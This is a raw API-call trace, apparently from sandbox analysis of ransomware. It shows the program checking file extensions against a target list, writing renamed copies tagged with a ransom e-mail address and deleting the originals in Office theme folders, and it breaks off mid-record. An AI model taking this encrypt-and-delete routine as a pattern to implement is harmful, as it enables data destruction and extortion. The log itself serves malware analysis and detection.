[0197.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.111] lstrlenW (lpString=".doc") returned 4 [0197.111] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0197.111] lstrlenW (lpString=".docx") returned 5 [0197.111] lstrcmpiW (lpString1=".docx", lpString2="C.INF") returned -1 [0197.111] lstrlenW (lpString=".pdf") returned 4 [0197.111] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0197.111] lstrlenW (lpString=".xls") returned 4 [0197.112] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0197.112] lstrlenW (lpString=".xlsx") returned 5 [0197.112] lstrcmpiW (lpString1=".xlsx", lpString2="C.INF") returned -1 [0197.112] lstrlenW (lpString=".ppt") returned 4 [0197.112] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0197.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.112] lstrlenW (lpString=".zip") returned 4 [0197.112] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0197.112] lstrlenW (lpString=".rar") returned 4 [0197.112] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0197.112] lstrlenW (lpString=".bz2") returned 4 [0197.112] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0197.112] lstrlenW (lpString=".7z") returned 3 [0197.112] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0197.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.112] lstrlenW (lpString=".dbf") returned 4 [0197.112] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0197.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.112] lstrlenW (lpString=".1cd") returned 4 [0197.112] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0197.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.112] lstrlenW (lpString=".jpg") returned 4 [0197.112] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0197.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.112] lstrlenW (lpString=".doc") returned 4 [0197.112] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0197.112] lstrlenW (lpString=".docx") returned 5 [0197.112] lstrcmpiW (lpString1=".docx", lpString2="C.INF") returned -1 [0197.112] lstrlenW (lpString=".pdf") returned 4 [0197.113] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0197.113] lstrlenW (lpString=".xls") returned 4 [0197.113] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0197.113] lstrlenW (lpString=".xlsx") returned 5 [0197.113] lstrcmpiW (lpString1=".xlsx", lpString2="C.INF") returned -1 [0197.113] lstrlenW (lpString=".ppt") returned 4 [0197.113] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0197.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.113] lstrlenW (lpString=".zip") returned 4 [0197.113] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0197.113] lstrlenW (lpString=".rar") returned 4 [0197.113] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0197.113] lstrlenW (lpString=".bz2") returned 4 [0197.113] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0197.113] lstrlenW (lpString=".7z") returned 3 [0197.113] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0197.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.113] lstrlenW (lpString=".dbf") returned 4 [0197.113] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0197.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.113] lstrlenW (lpString=".1cd") returned 4 [0197.113] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0197.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0197.113] lstrlenW (lpString=".jpg") returned 4 [0197.113] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0197.113] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0197.113] lstrlenW (lpString="BLENDS.ELM") returned 10 [0197.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0198.228] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=69047) returned 1 [0198.228] CloseHandle (hObject=0x20c) returned 1 [0198.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm")) returned 0x20 [0198.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0198.229] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.229] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.229] GetLastError () returned 0x0 [0198.229] ReadFile (in: hFile=0x20c, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x10db7, lpOverlapped=0x0) returned 1 [0198.234] WriteFile (in: hFile=0x1d0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x10dc0, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x10dc0, lpOverlapped=0x0) returned 1 [0198.236] ReadFile (in: hFile=0x20c, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.236] WriteFile (in: hFile=0x1d0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0198.236] SetEndOfFile (hFile=0x1d0) returned 1 [0198.237] CloseHandle (hObject=0x1d0) returned 1 [0198.237] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.237] SetEndOfFile (hFile=0x20c) returned 1 [0198.238] CloseHandle (hObject=0x20c) returned 1 [0198.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.238] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm")) returned 1 [0198.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.238] lstrlenW (lpString=".doc") returned 4 [0198.238] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0198.238] lstrlenW (lpString=".docx") returned 5 [0198.238] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0198.238] lstrlenW (lpString=".pdf") returned 4 [0198.238] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0198.238] lstrlenW (lpString=".xls") returned 4 [0198.238] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0198.238] lstrlenW (lpString=".xlsx") returned 5 [0198.238] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0198.239] lstrlenW (lpString=".ppt") returned 4 [0198.239] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0198.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.239] lstrlenW (lpString=".zip") returned 4 [0198.239] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0198.239] lstrlenW (lpString=".rar") returned 4 [0198.239] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0198.239] lstrlenW (lpString=".bz2") returned 4 [0198.239] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0198.239] lstrlenW (lpString=".7z") returned 3 [0198.239] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0198.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.239] lstrlenW (lpString=".dbf") returned 4 [0198.239] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0198.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.239] lstrlenW (lpString=".1cd") returned 4 [0198.239] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0198.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.239] lstrlenW (lpString=".jpg") returned 4 [0198.239] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0198.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.239] lstrlenW (lpString=".doc") returned 4 [0198.239] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0198.239] lstrlenW (lpString=".docx") returned 5 [0198.239] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0198.239] lstrlenW (lpString=".pdf") returned 4 [0198.239] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0198.239] lstrlenW (lpString=".xls") returned 4 [0198.239] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0198.239] lstrlenW (lpString=".xlsx") returned 5 [0198.240] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0198.240] lstrlenW (lpString=".ppt") returned 4 [0198.240] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0198.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.240] lstrlenW (lpString=".zip") returned 4 [0198.240] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0198.240] lstrlenW (lpString=".rar") returned 4 [0198.240] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0198.240] lstrlenW (lpString=".bz2") returned 4 [0198.240] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0198.240] lstrlenW (lpString=".7z") returned 3 [0198.240] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0198.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.240] lstrlenW (lpString=".dbf") returned 4 [0198.240] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0198.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.240] lstrlenW (lpString=".1cd") returned 4 [0198.240] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0198.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0198.240] lstrlenW (lpString=".jpg") returned 4 [0198.240] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0198.240] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0198.240] lstrlenW (lpString="BLUEPRNT.ELM") returned 12 [0198.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.748] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=55942) returned 1 [0198.748] CloseHandle (hObject=0x1f0) returned 1 [0198.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 0x20 [0198.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.748] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.748] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.877] GetLastError () returned 0x0 [0198.877] ReadFile (in: hFile=0x1f0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0xda86, lpOverlapped=0x0) returned 1 [0198.880] WriteFile (in: hFile=0x1e0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xda90, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xda90, lpOverlapped=0x0) returned 1 [0198.881] ReadFile (in: hFile=0x1f0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.881] WriteFile (in: hFile=0x1e0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.881] SetEndOfFile (hFile=0x1e0) returned 1 [0198.882] CloseHandle (hObject=0x1e0) returned 1 [0198.882] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.882] SetEndOfFile (hFile=0x1f0) returned 1 [0198.883] CloseHandle (hObject=0x1f0) returned 1 [0198.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.883] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 1 [0198.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.883] lstrlenW (lpString=".doc") returned 4 [0198.883] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0198.883] lstrlenW (lpString=".docx") returned 5 [0198.883] lstrcmpiW (lpString1=".docx", lpString2="T.ELM") returned -1 [0198.883] lstrlenW (lpString=".pdf") returned 4 [0198.883] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0198.883] lstrlenW (lpString=".xls") returned 4 [0198.883] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0198.883] lstrlenW (lpString=".xlsx") returned 5 [0198.884] lstrcmpiW (lpString1=".xlsx", lpString2="T.ELM") returned -1 [0198.884] lstrlenW (lpString=".ppt") returned 4 [0198.884] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0198.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.884] lstrlenW (lpString=".zip") returned 4 [0198.884] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0198.884] lstrlenW (lpString=".rar") returned 4 [0198.884] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0198.884] lstrlenW (lpString=".bz2") returned 4 [0198.884] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0198.884] lstrlenW (lpString=".7z") returned 3 [0198.884] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0198.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.884] lstrlenW (lpString=".dbf") returned 4 [0198.884] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0198.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.884] lstrlenW (lpString=".1cd") returned 4 [0198.884] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0198.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.884] lstrlenW (lpString=".jpg") returned 4 [0198.884] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0198.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.884] lstrlenW (lpString=".doc") returned 4 [0198.884] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0198.884] lstrlenW (lpString=".docx") returned 5 [0198.884] lstrcmpiW (lpString1=".docx", lpString2="T.ELM") returned -1 [0198.884] lstrlenW (lpString=".pdf") returned 4 [0198.884] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0198.884] lstrlenW (lpString=".xls") returned 4 [0198.884] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0198.884] lstrlenW (lpString=".xlsx") returned 5 [0198.885] lstrcmpiW (lpString1=".xlsx", lpString2="T.ELM") returned -1 [0198.885] lstrlenW (lpString=".ppt") returned 4 [0198.885] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0198.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.885] lstrlenW (lpString=".zip") returned 4 [0198.885] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0198.885] lstrlenW (lpString=".rar") returned 4 [0198.885] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0198.885] lstrlenW (lpString=".bz2") returned 4 [0198.885] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0198.885] lstrlenW (lpString=".7z") returned 3 [0198.885] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0198.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.885] lstrlenW (lpString=".dbf") returned 4 [0198.885] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0198.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.885] lstrlenW (lpString=".1cd") returned 4 [0198.885] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0198.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0198.885] lstrlenW (lpString=".jpg") returned 4 [0198.885] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0198.885] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0198.885] lstrlenW (lpString="CANYON.INF") returned 10 [0198.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.696] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=465) returned 1 [0199.697] CloseHandle (hObject=0x200) returned 1 [0199.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf")) returned 0x20 [0199.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.704] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.704] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.705] GetLastError () returned 0x0 [0199.705] ReadFile (in: hFile=0x1c8, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x1d1, lpOverlapped=0x0) returned 1 [0199.706] WriteFile (in: hFile=0x1e0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x1e0, lpOverlapped=0x0) returned 1 [0199.707] ReadFile (in: hFile=0x1c8, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.707] WriteFile (in: hFile=0x1e0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0199.707] SetEndOfFile (hFile=0x1e0) returned 1 [0199.707] CloseHandle (hObject=0x1e0) returned 1 [0199.707] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.707] SetEndOfFile (hFile=0x1c8) returned 1 [0199.708] CloseHandle (hObject=0x1c8) returned 1 [0199.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.708] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program 